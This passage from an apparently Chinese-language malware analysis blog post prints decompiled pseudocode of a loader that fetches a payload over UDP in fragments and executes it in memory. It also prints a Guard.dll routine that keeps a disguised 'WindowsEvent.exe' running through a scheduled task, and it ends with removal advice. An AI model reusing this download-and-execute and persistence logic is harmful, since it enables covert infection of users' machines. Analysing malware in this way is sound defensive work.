(a1->RtlMoveMemory)(a1: &v18, a2: v9, a3: 4);
if ( v25 == 49 && v18 == v22 )
{
v21 = 0;
if ( v22 == 0 )
{
(a1->RtlMoveMemory)(a1: &v19, a2: v11 + 105, a3: 4);
v17 = (__PAIR64__(v19 / 100, v19 % 100) - 1) >> 32;
}
(a1->RtlMoveMemory)(a1: &v16, a2: v11 + 105, a3: 4);
if ( v22 > 0 )
{
if ( v19 != v16 )
break;
v11 = v23;
}
(a1->RtlMoveMemory)(a1: a1->Addr + 100 * v18, a2: v11 + 5, a3: 100);
if ( v22 > 0 && v22 == v17 )
{
v15 = 1;
break;
}
++v22;
}
else if ( ++v21 > 6000 )
{
break;
}
}
}
}
if ( v15 == 1 )
{
LABEL_47:
v13 = (a1->Addr)(a1: v14);
v13(a1: a1->pExtraData);
while ( 1 )
;
}
if ( a1->fd != -1 )
{
(a1->closesocket)(a1: a1->fd);
a1->fd = -1;
}
}
while ( a2 < 15 );
}
LABEL_38:
if ( v20 != 0 )
(a1->freeaddrinfo)(a1: v20);
if ( a1->fd != -1 )
(a1->closesocket)(a1: a1->fd);
if ( v23 != 0 )
(a1->VirtualFree)(a1: v23, a2: 0, a3: 0x8000);
Addr = a1->Addr;
if ( Addr != 0 )
(a1->VirtualFree)(a1: Addr, a2: 0, a3: 0x8000);
}
}
  • 与TCP的流程差不多
  • 把TCP换成了UDP
  • 外层最多重试14次
  • 明文下载,最多重试6000次
  • 分片传输,每片109字节
  • 其中只有100字节是Payload
1
2
3
4
5
6
|偏移|长度|内容说明|
|---|---|---|
|0|1 字节|标识位,必须为`0x31('1')`|
|1|4 字节|分片序号(小端),需与请求的 v22 一致|
|5|100 字节|payload 原始数据|
|105|4 字节|总 payload 大小(第 0 片用于初始化,其余片用于校验)|

Guard.dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// Alternative name is 'MonitorAndRestart'
HANDLE __stdcall MonitorAndRestart(int a1, int a2, LPCCH lpMultiByteStr, int a4)
{
HANDLE result; // eax
WCHAR *v5; // ecx
DWORD LastError; // [esp-4h] [ebp-584h]
DWORD ExitCode; // [esp+Ch] [ebp-574h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [esp+10h] [ebp-570h] BYREF
struct _STARTUPINFOW StartupInfo; // [esp+28h] [ebp-558h] BYREF
WCHAR v10[128]; // [esp+70h] [ebp-510h] BYREF
WCHAR WideCharStr[17]; // [esp+170h] [ebp-410h] BYREF
_BYTE v12[486]; // [esp+192h] [ebp-3EEh] BYREF
__m128i CommandLine[32]; // [esp+378h] [ebp-208h] BYREF

hObject = CreateMutexW(lpMutexAttributes: nullptr, bInitialOwner: false, lpName: L"Global\\ProcessMonitorDLL_Mutex");
if ( hObject != nullptr && GetLastError() == 183 )// 看一下是不是有一份DLL正在运行了
{
result = hObject;
if ( hObject != nullptr )
return (HANDLE)CloseHandle(hObject: hObject);
return result;
}
wcscpy(WideCharStr, L"WindowsEvent.exe");
Clean(a1: (__m128i *)v12, a2: 0, a3: 0x1E6u);
if ( lpMultiByteStr != nullptr && *lpMultiByteStr != 0 )
{
MultiByteToWideChar(
CodePage: 0,
dwFlags: 0,
lpMultiByteStr,
cbMultiByte: -1,
lpWideCharStr: WideCharStr,
cchWideChar: 260);
WriteLogs(a1: WideCharStr);
}
while ( 1 )
{
if ( sub_100011A0(a1: WideCharStr) != 0 ) // 查看是否运行WindowsEvent.exe
goto LABEL_12;
WriteLogs(a1: word_10020F18);
Clean(a1: CommandLine, a2: 0, a3: 0x200u);
swprintf(a1: CommandLine, a2: 256, a3: L"schtasks /run /tn \"%s\"", L"WindowsEvent_Task");
StartupInfo.cb = 68;
Clean(a1: (__m128i *)&StartupInfo.lpReserved, a2: 0, a3: 0x40u);
ProcessInformation = 0;
if ( !CreateProcessW(
lpApplicationName: nullptr,
lpCommandLine: (LPWSTR)CommandLine,
lpProcessAttributes: nullptr,
lpThreadAttributes: nullptr,
bInheritHandles: false,
dwCreationFlags: 0x8000000u,
lpEnvironment: nullptr,
lpCurrentDirectory: nullptr,
lpStartupInfo: &StartupInfo,
lpProcessInformation: &ProcessInformation) )
break;
WaitForSingleObject(hHandle: ProcessInformation.hProcess, dwMilliseconds: 0x1388u);
ExitCode = 0;
GetExitCodeProcess(hProcess: ProcessInformation.hProcess, lpExitCode: &ExitCode);
CloseHandle(hObject: ProcessInformation.hProcess);
CloseHandle(hObject: ProcessInformation.hThread);
if ( ExitCode != 0 )
{
swprintf(a1: v10, a2: 128, a3: &unk_10020E30, ExitCode);
goto LABEL_16;
}
Sleep(dwMilliseconds: 0xBB8u);
if ( sub_100011A0(a1: WideCharStr) == 0 )
{
v5 = (WCHAR *)&unk_10020F64;
goto LABEL_17;
}
LABEL_12:
Sleep(dwMilliseconds: 0x3E8u);
}
LastError = GetLastError();
swprintf(a1: v10, a2: 128, a3: &unk_10020E58, LastError);
LABEL_16:
WriteLogs(a1: v10);
v5 = (WCHAR *)&word_10020F90;
LABEL_17:
WriteLogs(a1: v5);
sub_10001270();
result = hObject;
if ( hObject != nullptr )
{
result = (HANDLE)CloseHandle(hObject: hObject);
hObject = nullptr;
}
return result;
}
  • 可以看到这个DLL正如它的名字是个守护exe可持续运行的
  • 逻辑也比较简单,先判断DLL是否有同一份在运行,然后就是写日志,继续就是判断是否运行WindowsEvent.exe
  • 如果运行就算了
  • 没运行就用Windows的计划任务来执行运行指令

WriteLogs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __thiscall WriteLogs(WCHAR *input)
{
DWORD TempPathW; // eax
int v3; // esi
__int64 v4; // rax
int *v5; // eax
__int64 v6; // [esp+8h] [ebp-298h] BYREF
__m128i Buffer[32]; // [esp+10h] [ebp-290h] BYREF
__m128i v8[8]; // [esp+218h] [ebp-88h] BYREF

if ( word_10024558[0] == 0 )
{
Clean(a1: Buffer, a2: 0, a3: 0x208u);
TempPathW = GetTempPathW(nBufferLength: 0x104u, lpBuffer: (LPWSTR)Buffer);
if ( TempPathW != 0 && TempPathW <= 0x104 )
swprintf(a1: (int)word_10024558, a2: 260, a3: (int)L"%sRuntime.log", Buffer);// 拼接路径
else
WriteToBuff(a1: word_10024558, a2: 260, a3: (int)L"C:\\Windows\\Temp\\Runtime.log");
}
v3 = wfopen(a1: word_10024558, a2: L"a+, ccs=UTF-8");
if ( v3 != 0 )
{
Clean(a1: v8, a2: 0, a3: 0x80u);
LODWORD(v4) = GetCurrentTime(a1: nullptr);
v6 = v4;
v5 = wcsftime_0(a1: (int)&v6);
wcsftime(a1: (int)v8, a2: 64, a3: (int)L"%Y-%m-%d %H:%M:%S", a4: (int)v5);
fwprintf(a1: v3, a2: L"%s [%s]\n", input, v8);
fclose(a1: v3);
}
}
  • 简单优化了一下伪代码
  • 看起来舒服多了
  • 整体就是记录一下时间和传进来的参数

清杀建议

  • 在任务管理器中终止进程
  • 清理Windows自带的计划任务
  • 清理注册表启动项 / 加载点

参考文章

关于本文

由 GuQing 撰写,采用 CC BY-NC 4.0 许可协议。